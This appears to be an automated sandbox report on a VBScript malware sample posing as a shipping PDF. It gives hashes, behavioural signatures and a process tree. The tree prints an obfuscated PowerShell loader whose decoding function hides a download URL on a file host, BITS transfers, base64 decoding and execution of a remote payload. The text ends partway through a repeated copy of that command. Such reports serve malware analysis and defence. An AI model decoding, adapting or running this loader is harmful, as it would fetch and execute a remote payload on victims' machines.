Analysis
-
max time kernel
217s -
max time network
225s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
19-03-2024 02:47
Static task
static1
Behavioral task
behavioral1
Sample
DRAFT BILL OF LADING.PDF.vbs
Resource
win10v2004-20240226-en
General
-
Target
DRAFT BILL OF LADING.PDF.vbs
-
Size
27KB
-
MD5
8ce482c332e9ec80d47c64edc65b6a70
-
SHA1
c4ceaf9bf0791068f650f28674f09ac345bdc3cd
-
SHA256
1562364a3048ef8e00720e3bc0c6588ed7a4d8f560c5bdafa5b19503e159a8a8
-
SHA512
3471397b056c668363b309fa26374a849e02b3a191a0f4a1ac33f723e8358fda9911faadd9927f65f424e974a3ab6f2c88406bb4880ce88155ab172465126886
-
SSDEEP
768:4OMHs3w3rf5xGsmKQblBW2MQK/fFXSiP10E:403w3rDTpQZjOSiPD
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 12 2200 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
chrome.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133552901795929321" chrome.exe -
Processes:
WScript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E\Blob = 0f0000000100000014000000a8569ccd21ef9cc5737c7a12df608c2cbc545df153000000010000006500000030633021060b2a84680186f6770205010130123010060a2b0601040182373c0101030200c03021060b2a84680186f6770205010730123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b0000000100000034000000430065007200740075006d002000540072007500730074006500640020004e006500740077006f0072006b0020004300410000006200000001000000200000005c58468d55f58e497e743982d2b50010b6d165374acf83a7d4a32db768c4408e1400000001000000140000000876cdcb07ff24f6c5cdedbb90bce284374675f71d0000000100000010000000e3f9af952c6df2aaa41706a77a44c20303000000010000001400000007e032e020b72c3f192f0628a2593a19a70f069e2000000001000000bf030000308203bb308202a3a00302010202030444c0300d06092a864886f70d0101050500307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b204341301e170d3038313032323132303733375a170d3239313233313132303733375a307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e3fb7da372bac2f0c91487f56b014ee16e4007ba6d275d7ff75b2db35ac7515faba432a66187b66e0f86d2300297f8d76957a118395d6a6479c60159ac3c314a387cd204d24b28e8205f3b07a2cc4d73dbf3ae4fc756d55aa79689faf3ab68d423865927cf0927bcac6e72831c3072dfe0a2e9d2e1747519bd2a9e7b1554041bd74339ad5528c5e21abbf4c0e4ae384933cc76859f3945d2a49ef2128c51f87ce42d7ff5ac5feb169fb12dd1bacc9142774c25c990386fdbf0ccfb8e1e97593ed5604ee60528ed4979134bba48db2ff972d339cafe1fd83472f5b440cf3101c3ecde112d175d1fb850d15e19a769de073328ca5095f9a754cb54865045a9f9490203010001a3423040300f0603551d130101ff040530030101ff301d0603551d0e041604140876cdcb07ff24f6c5cdedbb90bce284374675f7300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100a6a8ad22ce013da6a3ff62d0489d8b5e72b07844e3dc1caf09fd2348fabd2ac4b95504b510a38d27de0b8263d0eede0c3779415b22b2b09a415ca670e0d4d077cb23d300e06c562fe1690d0dd9aabf218150d906a5a8ff9537d0aafee2b3f5992d45848ae54209d774022ff789d899e9bc27d4478dba0d461c77cf14a41cb9a431c49c28740334ff331926a5e90d74b73e97c676e82796a366dde1aef2415bca9856837370e4861ad23141ba2fbe2d135a766f4ee84e810e3f5b0322a012be6658114acb03c4b42a2a2d9617e03954bc48d376279d9a2d06a6c9ec39d2abdb9f9a0b27023529b14095e7f9e89c55881946d6b734f57ece399ad938f151f74f2c WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E\Blob = 040000000100000010000000d5e98140c51869fc462c8975620faa780f0000000100000014000000a8569ccd21ef9cc5737c7a12df608c2cbc545df153000000010000006500000030633021060b2a84680186f6770205010130123010060a2b0601040182373c0101030200c03021060b2a84680186f6770205010730123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b0000000100000034000000430065007200740075006d002000540072007500730074006500640020004e006500740077006f0072006b0020004300410000006200000001000000200000005c58468d55f58e497e743982d2b50010b6d165374acf83a7d4a32db768c4408e1400000001000000140000000876cdcb07ff24f6c5cdedbb90bce284374675f71d0000000100000010000000e3f9af952c6df2aaa41706a77a44c20303000000010000001400000007e032e020b72c3f192f0628a2593a19a70f069e1900000001000000100000001f7e750b566b128ac0b8d6576d2a70a52000000001000000bf030000308203bb308202a3a00302010202030444c0300d06092a864886f70d0101050500307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b204341301e170d3038313032323132303733375a170d3239313233313132303733375a307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e3fb7da372bac2f0c91487f56b014ee16e4007ba6d275d7ff75b2db35ac7515faba432a66187b66e0f86d2300297f8d76957a118395d6a6479c60159ac3c314a387cd204d24b28e8205f3b07a2cc4d73dbf3ae4fc756d55aa79689faf3ab68d423865927cf0927bcac6e72831c3072dfe0a2e9d2e1747519bd2a9e7b1554041bd74339ad5528c5e21abbf4c0e4ae384933cc76859f3945d2a49ef2128c51f87ce42d7ff5ac5feb169fb12dd1bacc9142774c25c990386fdbf0ccfb8e1e97593ed5604ee60528ed4979134bba48db2ff972d339cafe1fd83472f5b440cf3101c3ecde112d175d1fb850d15e19a769de073328ca5095f9a754cb54865045a9f9490203010001a3423040300f0603551d130101ff040530030101ff301d0603551d0e041604140876cdcb07ff24f6c5cdedbb90bce284374675f7300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100a6a8ad22ce013da6a3ff62d0489d8b5e72b07844e3dc1caf09fd2348fabd2ac4b95504b510a38d27de0b8263d0eede0c3779415b22b2b09a415ca670e0d4d077cb23d300e06c562fe1690d0dd9aabf218150d906a5a8ff9537d0aafee2b3f5992d45848ae54209d774022ff789d899e9bc27d4478dba0d461c77cf14a41cb9a431c49c28740334ff331926a5e90d74b73e97c676e82796a366dde1aef2415bca9856837370e4861ad23141ba2fbe2d135a766f4ee84e810e3f5b0322a012be6658114acb03c4b42a2a2d9617e03954bc48d376279d9a2d06a6c9ec39d2abdb9f9a0b27023529b14095e7f9e89c55881946d6b734f57ece399ad938f151f74f2c WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\07E032E020B72C3F192F0628A2593A19A70F069E\Blob = 5c0000000100000004000000000800001900000001000000100000001f7e750b566b128ac0b8d6576d2a70a503000000010000001400000007e032e020b72c3f192f0628a2593a19a70f069e1d0000000100000010000000e3f9af952c6df2aaa41706a77a44c2031400000001000000140000000876cdcb07ff24f6c5cdedbb90bce284374675f76200000001000000200000005c58468d55f58e497e743982d2b50010b6d165374acf83a7d4a32db768c4408e0b0000000100000034000000430065007200740075006d002000540072007500730074006500640020004e006500740077006f0072006b002000430041000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000006500000030633021060b2a84680186f6770205010130123010060a2b0601040182373c0101030200c03021060b2a84680186f6770205010730123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000a8569ccd21ef9cc5737c7a12df608c2cbc545df1040000000100000010000000d5e98140c51869fc462c8975620faa782000000001000000bf030000308203bb308202a3a00302010202030444c0300d06092a864886f70d0101050500307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b204341301e170d3038313032323132303733375a170d3239313233313132303733375a307e310b300906035504061302504c31223020060355040a1319556e697a65746f20546563686e6f6c6f6769657320532e412e31273025060355040b131e43657274756d2043657274696669636174696f6e20417574686f72697479312230200603550403131943657274756d2054727573746564204e6574776f726b20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e3fb7da372bac2f0c91487f56b014ee16e4007ba6d275d7ff75b2db35ac7515faba432a66187b66e0f86d2300297f8d76957a118395d6a6479c60159ac3c314a387cd204d24b28e8205f3b07a2cc4d73dbf3ae4fc756d55aa79689faf3ab68d423865927cf0927bcac6e72831c3072dfe0a2e9d2e1747519bd2a9e7b1554041bd74339ad5528c5e21abbf4c0e4ae384933cc76859f3945d2a49ef2128c51f87ce42d7ff5ac5feb169fb12dd1bacc9142774c25c990386fdbf0ccfb8e1e97593ed5604ee60528ed4979134bba48db2ff972d339cafe1fd83472f5b440cf3101c3ecde112d175d1fb850d15e19a769de073328ca5095f9a754cb54865045a9f9490203010001a3423040300f0603551d130101ff040530030101ff301d0603551d0e041604140876cdcb07ff24f6c5cdedbb90bce284374675f7300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100a6a8ad22ce013da6a3ff62d0489d8b5e72b07844e3dc1caf09fd2348fabd2ac4b95504b510a38d27de0b8263d0eede0c3779415b22b2b09a415ca670e0d4d077cb23d300e06c562fe1690d0dd9aabf218150d906a5a8ff9537d0aafee2b3f5992d45848ae54209d774022ff789d899e9bc27d4478dba0d461c77cf14a41cb9a431c49c28740334ff331926a5e90d74b73e97c676e82796a366dde1aef2415bca9856837370e4861ad23141ba2fbe2d135a766f4ee84e810e3f5b0322a012be6658114acb03c4b42a2a2d9617e03954bc48d376279d9a2d06a6c9ec39d2abdb9f9a0b27023529b14095e7f9e89c55881946d6b734f57ece399ad938f151f74f2c WScript.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exechrome.exechrome.exepid process 4128 powershell.exe 4128 powershell.exe 1556 powershell.exe 1556 powershell.exe 1556 powershell.exe 4032 chrome.exe 4032 chrome.exe 4992 chrome.exe 4992 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
Processes:
chrome.exepid process 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exechrome.exedescription pid process Token: SeDebugPrivilege 4128 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe Token: SeShutdownPrivilege 4032 chrome.exe Token: SeCreatePagefilePrivilege 4032 chrome.exe -
Suspicious use of FindShellTrayWindow 26 IoCs
Processes:
chrome.exepid process 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
chrome.exepid process 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe 4032 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
WScript.exepowershell.exechrome.exedescription pid process target process PID 2200 wrote to memory of 4128 2200 WScript.exe powershell.exe PID 2200 wrote to memory of 4128 2200 WScript.exe powershell.exe PID 4128 wrote to memory of 1556 4128 powershell.exe powershell.exe PID 4128 wrote to memory of 1556 4128 powershell.exe powershell.exe PID 4128 wrote to memory of 1556 4128 powershell.exe powershell.exe PID 4032 wrote to memory of 1424 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 1424 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3664 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 1960 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 1960 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe PID 4032 wrote to memory of 3528 4032 chrome.exe chrome.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DRAFT BILL OF LADING.PDF.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Opposability='Reappreciation:\Hovedjgernes';Set-Content $Opposability 'Lrerkollegier';$Capistrate81=Test-Path $Opposability;if($Capistrate81){exit};function cangler ($Tankest){For($Vgtafgiften=4; $Vgtafgiften -lt $Tankest.Length-1; $Vgtafgiften+=5){$besudles=$besudles+$Tankest.'Substring'($Vgtafgiften, 1)};$besudles;}$Danbo=cangler ' venh Sdmt U.tt BurpCorasVene:Plan/ an/ Keid P.lr.igliPar.vIdeaeNica. .rug UntoEnfoo DetgGn,tlSuq eEpig.,legc DifoSkakm bse/NonsuForncAar,?Del,e,itcx VinpHvalo enr VittShea=Kol.dBlinoS,pewMultnKlasl SoioWisda credTop.&.elsi ProdB,se=tyg.1geocKstudVsunlSArthE VisKStikQStedOKejs0 Nato IncwCamagBekrG non0MoskzCompQ TroBTran7L.ekPHi,tqParajHe.rPtrkubChasAUnderUnfuN DowACharcLbes0 UncckultZProdUFlyvclnre ';$Fastlaast=cangler 'Pat,iJuleeR,ffxGa.g ';$Arbejdsrutinen = cangler ' Ans\ strs Bray,orrsBihew Ocho kytwSrbo6Stan4Clea\ T,rWStreiChoknSni,d acaoRadiwQat,sDi.oPKaleoHjerwEnnee aitrM niSIndbhBegye stolEftelP,pi\ ArsvOp,i1.kra. Ask0Fimr\Syrap en oM,liwAfgaeSt drRetssfolkh MoueBagglMe.il,ans.LdgaeUdspx No.eE.tr ';&($Fastlaast) (cangler 'Unim$ TypGBl kbPt raskrmkNonrkskrae ibonChri=Trop$ Sowe Infn.annv por:hallw CroiRen.nEma,dCrowiEncarha.n ') ;&($Fastlaast) (cangler ' Rid$ .ecASprir iltbC.nteSkn,jEk adGon sTradrFyldu ThatZiggi D,un S ieIntenSom.= esp$Ar.lG E.mbC,ataRa.ckEftekUsneeSonnnEnga+Chry$ S fAun,ermestb.elfeFootj MotdEbensC,lorSakru,jertk ali ,sknF,dneG ngn agn ') ;&($Fastlaast) (cangler 'Phot$ DisUIn knEksprMoiduA anpInsht R,duAnser Hjse J.edRo,i Geo =Stor R.di( Upp(Syfig TegwEthymRepoi.rif EufowConvi Udtn Zin3S.bm2afla_Fo.sp lar NyeoGeofcDilee L.ssTitasDip Indb-oberFFnom nreP K.nrC,nto Fdsc S.ieAlabsOpdasArmmI De,dBl,w=Vest$Stan{StadP ,leIKontDTakt} Del)Budd. rfsCNucao AudmFortmWkpraStern Sled B bL EvoiDrmmnSbehe Est)Skru S.il- FussTurbp KallOrkeiOrakt Sin Ef,[IcelcOmgah Dr aBifurApos]Blgc3 ost4Preb ');&($Fastlaast) (cangler 'Bi,l$B,ngAVower ModrUblooSs eg KalaDokutF leeQuar Spal=Ytta Pala$ DauU.egnnNatirBeneuSuccpUvirtD duu C.mrAarveFokud Psy[Brdr$ WalUunconTheorEr nuPt.rpTauttMoniuMindrObl.eNat dKvar. S ocUregoPreluAlpen Op tPe.i-Beko2Ov.r]Ches ');&($Fastlaast) (cangler 'Li h$Av,uLTe ma PhagBegreBiodrR.fifPneuoCr wrKvr,vLdgaa G nlFrugt Ovee UnirSkornSe aeVver=P ec(UndeTArs.e,horsskritSkem-RevaPLo iarevatXa thSynt Dist$RetaAProlrUdkmb Afve BanjAgardD.mbsHygrrE.ekuIndutJ.uriTrannVolteChonnSols)Ac,d Cho.-ProfA BrunFeltdChlo Rek(Bil,[.irmI.ungnStatt UfePAnaltManirAllo]Ch o:u.li:Grots L.eipartzProue Op. Inco-H,geeAn.oqPasc ,tri8Spl ) Spa ') ;if ($Lagerforvalterne) {&$Arbejdsrutinen $Arrogate;} else {;$Seawalls=cangler 'S,ndSH.motFortaQuadr UnctFler- T.mBKiteiLbskt usys.ektT UnarOscua,phinBukksCharf.nexeSkycrPals Lig -Ca,iSAdv,oTe,euOptirre,acFoure Pat Re,r$ecthDShugaHighnAmarbStagoH.ra T.mm- ActD ,ereSubss,ackt Sthikunon oniaF sktSo,diAnneogoodnEadi tilo$Al fG OvebImdeaSubskPrurkStereP ysn Dia ';&($Fastlaast) (cangler 'Daug$y.chGProtb ResaEn,okAntik ordeYog.nCh r=Aggl$,ypeeS.ednPri,vUnde:SociaConcpni spO sidSod,a tilt Upca Mus ') ;&($Fastlaast) (cangler 'AdviIIldlmUndep .utoB sgrO.lot The-MestMspi,oExotdSitauCarbl UnpeLath Co eB IndiAvi,tReprs Le,T .urr ubaDilenNeursSun,fAlaneB.lyrProt ') ;$Gbakken=$Gbakken+'\Arboureous.Whi';while (-not $Konversatietonsleksika) {&($Fastlaast) (cangler 'Stje$RejsKOscuoUnnenpolyvPat,eAtomrSabesJudia RehtHos iGineeappltForboIchtnPeris PerlBalle KrikLimos.adeiCordkSpilaGang=Do,s(UnsyTBoateScr sStortStou-,uggP FllaUbentKivehDomi B,o$SkabGKranb,aska ,rakHetekUs.seCentnCinc)Non, ') ;&($Fastlaast) $Seawalls;&($Fastlaast) (cangler 'TeleS evitRec,aHoerrAd itProc-ArguSBe,rlToveeF,gteFin.pAstr Excu5Hjti ');}&($Fastlaast) (cangler 'Squi$solbU FlanImbee arjxphartCr crM,shaCeravTiltaMyofgchona Tranvejrt evnlt,icy Wit P ov=Alau IlanGMarkeUntrtK,mm-NonzCEmuloBaadnUnsetL.pieTwisnNarrtRyde Fri,$An.lGdashbTu.taawe,k Glok peke trin Par ');&($Fastlaast) (cangler 'B.gg$TovfGS.ksa,ibifstalfSecrk Kony SataAsp.8H st4Sote euk=Fuld Har[Hi.pSArr,yTortsSn gtAfspeIr.emSbeu. Sj,C.lidoKohon Arav KipeB.ndr D ctUfor]Skaa:Knud: CypF EtyrUvurooverm upeB oua SttsIndveEnvi6 ili4RestSBrustUnprrBenhi Nonn.itog ,ke(Ane.$NocuUSolinsw,eeFriaxTetrtNoner.rosaB.pyvThe,a icgFo,oaColln G,ntArm.lPauly iss)Nokt ');&($Fastlaast) (cangler 'Scr,$R,teMPoseu kali ersr ArcbBroauEnvir.endnT an Resu= ato Col,[PrivSA.asyFalls SvmtTrameBailmF ag.Dr.gTTer.e TroxElastbleg. UryEPr enM,crc su,oPropdFngsiCompnIsotghumi] .in:Hugg:TripAvandSRombC,xymISascIHind.OptaGWeskeTitetTeknS.ejrtUnblrDiagiP ysnSadegAlmu(Citr$ InaG LapaForkfKrsef Chik estyFrogaFrik8Rows4 ,ab)Podd ');&($Fastlaast) (cangler ' Fl,$circSMilikReklnFlawhlatte DisdCheksPantpFreml BygeCountmisatDe,re Ldin imb=Fors$MythM ,ypuEctoim.dsrernabAstruToplrSvinnKonk.ReplsJagluWas.bUdt s A.ptFascr Prgi .atnCr.pgMyog(No.k3Atte2 Tit0 Uns7Diss0Burt9Asci, Ove3 Afl9Komm3Impe2Re,i3De,e) Enf ');&($Fastlaast) $Sknhedspletten;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Opposability='Reappreciation:\Hovedjgernes';Set-Content $Opposability 'Lrerkollegier';$Capistrate81=Test-Path $Opposability;if($Capistrate81){exit};function cangler ($Tankest){For($Vgtafgiften=4; $Vgtafgiften -lt $Tankest.Length-1; $Vgtafgiften+=5){$besudles=$besudles+$Tankest.'Substring'($Vgtafgiften, 1)};$besudles;}$Danbo=cangler ' venh Sdmt U.tt BurpCorasVene:Plan/ an/ Keid P.lr.igliPar.vIdeaeNica. .rug UntoEnfoo DetgGn,tlSuq eEpig.,legc DifoSkakm bse/NonsuForncAar,?Del,e,itcx VinpHvalo enr VittShea=Kol.dBlinoS,pewMultnKlasl SoioWisda credTop.&.elsi ProdB,se=tyg.1geocKstudVsunlSArthE VisKStikQStedOKejs0 Nato IncwCamagBekrG non0MoskzCompQ TroBTran7L.ekPHi,tqParajHe.rPtrkubChasAUnderUnfuN DowACharcLbes0 UncckultZProdUFlyvclnre ';$Fastlaast=cangler 'Pat,iJuleeR,ffxGa.g ';$Arbejdsrutinen = cangler ' Ans\ strs Bray,orrsBihew Ocho kytwSrbo6Stan4Clea\ T,rWStreiChoknSni,d acaoRadiwQat,sDi.oPKaleoHjerwEnnee aitrM 